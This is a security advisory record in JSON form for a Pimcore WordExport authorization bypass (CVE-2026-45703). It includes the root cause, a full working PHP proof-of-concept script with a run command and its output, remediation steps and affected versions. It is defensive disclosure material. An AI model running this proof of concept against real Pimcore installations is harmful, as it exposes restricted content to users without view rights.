{"id":"GHSA-332x-r494-54fq","aliases":["CVE-2026-45703"],"title":"Pimcore has a WordExport Authorization Bypass for Unauthorized Document Export","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"MODERATE","description":"### Summary\n\nThe `WordExport` export flow only checks whether the current backend user has the feature permission `word_export`. It does not verify access rights on the target element itself.  \nAs a result, a low-privileged backend user can export document content even when the user does not have `view` permission on that document.\n\nIn the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:\n\n- `POC-WORDEXPORT-TITLE`\n- `POC-WORDEXPORT-DESC`\n\n### Root Cause\n\nThe controller only performs a feature-level permission check before starting the export flow:\n\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L44)#L41)\n- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)#L44)\n\nIt then directly resolves the target element from attacker-controlled `type/id` input:\n\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L113)#L58)\n\nFor document-like elements such as `Page` and `Snippet`, it renders content in an admin context:\n\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L114)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)\n- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L113)\n- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L114)\n\nNo object-level authorization check such as `isAllowed('view')` is enforced on the target element.\n\n### Affected Scope\n\nBased on the source code, the following element types may be affected:\n\n- `page`\n- `snippet`\n- `email`\n- `object`\n\nFor page-like documents, the `pimcore_admin = true` rendering context may expose additional backend-visible content.\n\n### Preconditions\n\n- The attacker is an authenticated backend user\n- The attacker has the `word_export` permission\n- The attacker does not have `view` permission on the target document\n\n### Reproduction Environment\n\n- Reproduction root: `pimcore-12.3.3-repro`\n- Standalone PoC script: [[poc_wordexport.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3-repro/tools/poc_wordexport.php)](pimcore-12.3.3-repro/tools/poc_wordexport.php)\n\n```php\n<?php\ndeclare(strict_types=1);\n\nuse Pimcore\\Bundle\\WordExportBundle\\Controller\\TranslationController as WordExportController;\nuse Pimcore\\Controller\\UserAwareController;\nuse Pimcore\\Model\\Document\\Page;\nuse Pimcore\\Model\\User;\nuse Pimcore\\Security\\User\\TokenStorageUserResolver;\nuse Pimcore\\Security\\User\\User as SecurityUser;\nuse Pimcore\\Serializer\\Serializer as PimcoreSerializer;\nuse Pimcore\\Tool\\Authentication;\nuse Symfony\\Component\\DependencyInjection\\ContainerInterface;\nuse Symfony\\Component\\Filesystem\\Filesystem;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\RequestStack;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorage;\n\nrequire dirname(__DIR__) . '/vendor/autoload.php';\n\ndefine('PIMCORE_PROJECT_ROOT', dirname(__DIR__));\n\ntry {\n    \\Pimcore\\Bootstrap::bootstrap();\n\n    $kernel = new \\App\\Kernel('dev', true);\n    \\Pimcore::setKernel($kernel);\n    $kernel->boot();\n\n    $container = $kernel->getContainer();\n\n    /** @var RequestStack $requestStack */\n    $requestStack = getService($container, [\n        RequestStack::class,\n        'request_stack',\n    ]);\n\n    $admin = User::getByName('admin');\n    if (!$admin instanceof User) {\n        fail('admin user is missing');\n    }\n\n    $auditor = User::getByName('auditor_wordexport');\n    if (!$auditor instanceof User) {\n        $auditor = new User();\n        $auditor->setParentId(0);\n        $auditor->setName('auditor_wordexport');\n    }\n\n    $auditor->setAdmin(false);\n    $auditor->setActive(true);\n    $auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));\n    $auditor->setPermissions(['word_export']);\n    $auditor->setRoles([]);\n    $auditor->setWorkspacesDocument([]);\n    $auditor->setWorkspacesAsset([]);\n    $auditor->setWorkspacesObject([]);\n    $auditor->save();\n\n    $page = Page::getByPath('/poc-wordexport-secret-page');\n    if (!$page instanceof Page) {\n        $page = new Page();\n        $page->setParentId(1);\n        $page->setKey('poc-wordexport-secret-page');\n    }\n\n    $page->setPublished(true);\n    $page->setController('App\\\\Controller\\\\DefaultController::defaultAction');\n    $page->setTemplate('default/default.html.twig');\n    $page->setTitle('POC-WORDEXPORT-TITLE');\n    $page->setDescription('POC-WORDEXPORT-DESC');\n    $page->setProperty('language', 'text', 'en', false, true);\n    $page->setUserOwner($admin->getId());\n    $page->setUserModification($admin->getId());\n    $page->save();\n\n    $canViewPage = $page->getDao()->isAllowed('view', $auditor);\n\n    $tokenResolver = buildTokenResolver($auditor);\n    $controller = wireController(new WordExportController(), $container, $tokenResolver);\n\n    $exportId = 'wordexportpoc1';\n    $exportRequest = new Request([], [\n        'id' => $exportId,\n        'data' => json_encode([\n            ['type' => 'document', 'id' => $page->getId()],\n        ], JSON_THROW_ON_ERROR),\n        'source' => 'en',\n    ]);\n\n    $requestStack->push($exportRequest);\n    $controller->wordExportAction($exportRequest, new Filesystem());\n    $requestStack->pop();\n\n    $downloadRequest = new Request(['id' => $exportId]);\n    $requestStack->push($downloadRequest);\n    $downloadResponse = $controller->wordExportDownloadAction($downloadRequest);\n    $requestStack->pop();\n\n    $wordContent = (string) $downloadResponse->getContent();\n\n    echo json_encode([\n        'vulnerability' => 'wordexport_authorization_bypass',\n        'user' => [\n            'id' => $auditor->getId(),\n            'name' => $auditor->getName(),\n            'permissions' => $auditor->getPermissions(),\n        ],\n        'target_page' => [\n            'id' => $page->getId(),\n            'path' => $page->getFullPath(),\n            'title' => $page->getTitle(),\n            'description' => $page->getDescription(),\n            'user_can_view_page' => $canViewPage,\n        ],\n        'result' => [\n            'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),\n            'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),\n        ],\n    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;\n} catch (Throwable $e) {\n    fail(sprintf(\n        '%s: %s in %s:%d%s',\n        $e::class,\n        $e->getMessage(),\n        $e->getFile(),\n        $e->getLine(),\n        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''\n    ));\n}\n\nfunction wireController(\n    UserAwareController $controller,\n    ContainerInterface $container,\n    TokenStorageUserResolver $tokenResolver\n): UserAwareController\n{\n    $controller->setContainer($container);\n    $controller->setTokenResolver($tokenResolver);\n\n    if (method_exists($controller, 'setPimcoreSerializer')) {\n        /** @var PimcoreSerializer $serializer */\n        $serializer = getService($container, [\n            PimcoreSerializer::class,\n            'Pimcore\\\\Serializer\\\\Serializer',\n        ]);\n        $controller->setPimcoreSerializer($serializer);\n    }\n\n    return $controller;\n}\n\nfunction buildTokenResolver(User $user): TokenStorageUserResolver\n{\n    $tokenStorage = new TokenStorage();\n    $proxyUser = new SecurityUser($user);\n    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());\n    $tokenStorage->setToken($token);\n\n    return new TokenStorageUserResolver($tokenStorage);\n}\n\nfunction getService(ContainerInterface $container, array $ids): mixed\n{\n    foreach ($ids as $id) {\n        try {\n            if ($container->has($id)) {\n                return $container->get($id);\n            }\n        } catch (Throwable) {\n        }\n    }\n\n    fail('Unable to resolve service: ' . implode(', ', $ids));\n}\n\nfunction fail(string $message): never\n{\n    fwrite(STDERR, $message . PHP_EOL);\n    exit(1);\n}\n\n```\n\n\n\n### Reproduction Steps\n\n1. Create a low-privileged user named `auditor_wordexport` with only the `word_export` permission and no document workspace permissions.\n2. Create a test page at `/poc-wordexport-secret-page` containing sensitive values:\n   - `title = POC-WORDEXPORT-TITLE`\n   - `description = POC-WORDEXPORT-DESC`\n3. Verify that the user does not have `view` permission on that page.\n4. Execute `wordExportAction()` and `wordExportDownloadAction()` as that user.\n5. Check whether the exported HTML contains the sensitive values.\n\nReproduction command:\n\n```bash\ncd pimcore-12.3.3-repro\ndocker compose exec -T php php tools/poc_wordexport.php\n```\n\n### Reproduction Result\n\nRelevant PoC output:\n\n```json\n{\n  \"vulnerability\": \"wordexport_authorization_bypass\",\n  \"user\": {\n    \"name\": \"auditor_wordexport\",\n    \"permissions\": [\n      \"word_export\"\n    ]\n  },\n  \"target_page\": {\n    \"path\": \"/poc-wordexport-secret-page\",\n    \"title\": \"POC-WORDEXPORT-TITLE\",\n    \"description\": \"POC-WORDEXPORT-DESC\",\n    \"user_can_view_page\": false\n  },\n  \"result\": {\n    \"download_contains_title\": true,\n    \"download_contains_description\": true\n  }\n}\n```\n\nThis shows that:\n\n- The user cannot view the target page\n- The exported file still contains the page's sensitive content\n\nThis confirms that the issue is practically exploitable.\n\n### Security Impact\n\n- Unauthorized disclosure of structured page fields\n- Unauthorized export of restricted backend content\n- Potential exposure of unpublished or otherwise restricted content\n- Lateral data access by low-privileged backend accounts\n\n### Remediation\n\n1. Perform object-level authorization immediately after resolving the element from `type/id`.\n2. Require at least `view` permission on the target element.\n3. Apply consistent authorization checks across `page`, `snippet`, `email`, and `object`.\n4. Bind export creation and export download to the requesting user or an equivalent authorization context.\n5. Add regression tests to ensure that users with `word_export` but without element `view` permission cannot export content.","severity":"medium","score":6.4,"published":"2026-05-27T22:27:18.000Z","modified":"2026-07-10T19:15:11.892Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"pimcore/pimcore","sources":[{"name":"OSV · GHSA-332x-r494-54fq","url":"https://osv.dev/vulnerability/GHSA-332x-r494-54fq"}],"ranges":[{"events":[{"introduced":"12.0.0-RC1"},{"fixed":"12.3.7"}],"type":"ECOSYSTEM"}],"versions":["v12.0.0","v12.0.0-RC1","v12.0.0-RC2","v12.0.1","v12.0.2","v12.0.3","v12.0.4","v12.1.0","v12.1.1","v12.1.2","v12.1.3","v12.1.4","v12.1.5","v12.2.0","v12.2.1","v12.2.2","v12.2.3","v12.2.4","v12.3.0","v12.3.1","v12.3.1.1","v12.3.2","v12.3.3","v12.3.4","v12.3.5","v12.3.6"],"fixed":["12.3.7"]},{"ecosystem":"Packagist","name":"pimcore/pimcore","sources":[{"name":"OSV · GHSA-332x-r494-54fq","url":"https://osv.dev/vulnerability/GHSA-332x-r494-54fq"}],"ranges":[{"events":[{"introduced":"0"},{"fixed":"11.5.17"}],"type":"ECOSYSTEM"}],"versions":["10.0.8","2.2.0","2.2.1","2.2.2","2.3.0","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.1.1","4.0.0","4.0.1","4.1.0","4.1.1","4.1.2","4.1.3","4.2.0","4.3.0","4.3.1","4.4.0","4.4.1","4.4.2","4.4.3","4.5.0","4.6.0","4.6.1","4.6.2","4.6.3","4.6.4","4.6.5","v10.0.0","v10.0.0-BETA1","v10.0.0-BETA2","v10.0.0-BETA3","v10.0.0-BETA4","v10.0.1","v10.0.2","v10.0.3","v10.0.4","v10.0.5","v10.0.6","v10.0.7","v10.0.9","v10.1.0","v10.1.1","v10.1.2","v10.1.3","v10.1.4","v10.1.5","v10.2.0","v10.2.1","v10.2.10","v10.2.2","v10.2.3","v10.2.4","v10.2.5","v10.2.6","v10.2.7","v10.2.8","v10.2.9","v10.3.0","v10.3.1","v10.3.2","v10.3.3","v10.3.4","v10.3.5","v10.3.6","v10.3.7","v10.4.0","v10.4.1","v10.4.2","v10.4.3","v10.4.4","v10.4.5","v10.4.6","v10.5.0","v10.5.1","v10.5.10","v10.5.11","v10.5.12","v10.5.13","v10.5.14","v10.5.15","v10.5.16","v10.5.17","v10.5.18","v10.5.19","v10.5.2","v10.5.20","v10.5.21","v10.5.22","v10.5.23","v10.5.24","v10.5.25","v10.5.3","v10.5.4","v10.5.5","v10.5.6","v10.5.7","v10.5.8","v10.5.9","v10.6.0","v10.6.1","v10.6.2","v10.6.3","v10.6.4","v10.6.5","v10.6.6","v10.6.7","v10.6.8","v10.6.9","v11.0.0","v11.0.0-ALPHA1","v11.0.0-ALPHA2","v11.0.0-ALPHA3","v11.0.0-ALPHA4","v11.0.0-ALPHA5","v11.0.0-ALPHA6","v11.0.0-ALPHA7","v11.0.0-ALPHA8","v11.0.0-BETA1","v11.0.0-RC1","v11.0.0-RC2","v11.0.1","v11.0.10","v11.0.11","v11.0.12","v11.0.2","v11.0.3","v11.0.4","v11.0.5","v11.0.6","v11.0.7","v11.0.8","v11.0.9","v11.1.0","v11.1.0-RC1","v11.1.1","v11.1.2","v11.1.3","v11.1.4","v11.1.5","v11.1.6","v11.2.0","v11.2.1","v11.2.2","v11.2.3","v11.2.4","v11.2.5","v11.2.6","v11.2.7","v11.3.0","v11.3.0-RC1","v11.3.0-RC2","v11.3.1","v11.3.2","v11.3.3","v11.4.0","v11.4.0-RC1","v11.4.1","v11.4.2","v11.4.3","v11.4.4","v11.5.0","v11.5.0-RC1","v11.5.0-RC2","v11.5.1","v11.5.10","v11.5.11","v11.5.12","v11.5.13","v11.5.14","v11.5.14.1","v11.5.2","v11.5.3","v11.5.4","v11.5.5","v11.5.6","v11.5.7","v11.5.8","v11.5.9","v5.0.0","v5.0.0-RC","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.1.0","v5.1.0-alpha","v5.1.1","v5.1.2","v5.1.3","v5.2.0","v5.2.1","v5.2.2","v5.2.3","v5.3.0","v5.3.1","v5.4.0","v5.4.1","v5.4.2","v5.4.3","v5.4.4","v5.5.0","v5.5.1","v5.5.2","v5.5.3","v5.5.4","v5.6.0","v5.6.1","v5.6.2","v5.6.3","v5.6.4","v5.6.5","v5.6.6","v5.7.0","v5.7.1","v5.7.2","v5.7.3","v5.8.0","v5.8.1","v5.8.2","v5.8.3","v5.8.4","v5.8.5","v5.8.6","v5.8.7","v5.8.8","v5.8.9","v6.0.0","v6.0.1","v6.0.2","v6.0.3","v6.0.4","v6.0.5","v6.1.0","v6.1.1","v6.1.2","v6.2.0","v6.2.1","v6.2.2","v6.2.3","v6.3.0","v6.3.1","v6.3.2","v6.3.3","v6.3.4","v6.3.5","v6.3.6","v6.4.0","v6.4.1","v6.4.2","v6.5.0","v6.5.1","v6.5.2","v6.5.3","v6.6.0","v6.6.1","v6.6.10","v6.6.11","v6.6.2","v6.6.3","v6.6.4","v6.6.5","v6.6.6","v6.6.7","v6.6.8","v6.6.9","v6.7.0","v6.7.1","v6.7.2","v6.7.3","v6.8.0","v6.8.1","v6.8.10","v6.8.11","v6.8.12","v6.8.2","v6.8.3","v6.8.4","v6.8.5","v6.8.6","v6.8.7","v6.8.8","v6.8.9","v6.9.0","v6.9.1","v6.9.2","v6.9.3","v6.9.4","v6.9.5","v6.9.6"],"fixed":["11.5.17"]},{"ecosystem":"Packagist","name":"pimcore/pimcore","sources":[{"name":"OSV · GHSA-332x-r494-54fq","url":"https://osv.dev/vulnerability/GHSA-332x-r494-54fq"}],"ranges":[{"events":[{"introduced":"2026.1.0"},{"fixed":"2026.1.3"}],"type":"ECOSYSTEM"}],"versions":["v2026.1.0","v2026.1.1","v2026.1.2"],"fixed":["2026.1.3"]}],"sourceAffected":[],"references":["https://github.com/pimcore/pimcore/security/advisories/GHSA-332x-r494-54fq","https://github.com/pimcore/pimcore/pull/19112","https://github.com/pimcore/pimcore/commit/0ce2232b6f92c79d0ac244e95e21f55c37456ef1","https://github.com/pimcore/pimcore","https://github.com/pimcore/pimcore/releases/tag/v12.3.7"],"sources":[{"name":"OSV","id":"GHSA-332x-r494-54fq","modified":"2026-07-10T19:15:11.892661593Z","url":"https://osv.dev/vulnerability/GHSA-332x-r494-54fq"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L","score":6.4}],"products":[],"remediation":[],"kev":{"status":"not-listed","checkedAt":"2026-10-28T19:20:37.165Z"},"coverage":[{"source":"NVD","status":"not-checked"},{"source":"GHSA","status":"not-checked"},{"source":"EUVD","status":"not-checked"},{"source":"EPSS","status":"not-checked"}],"evidence":[]}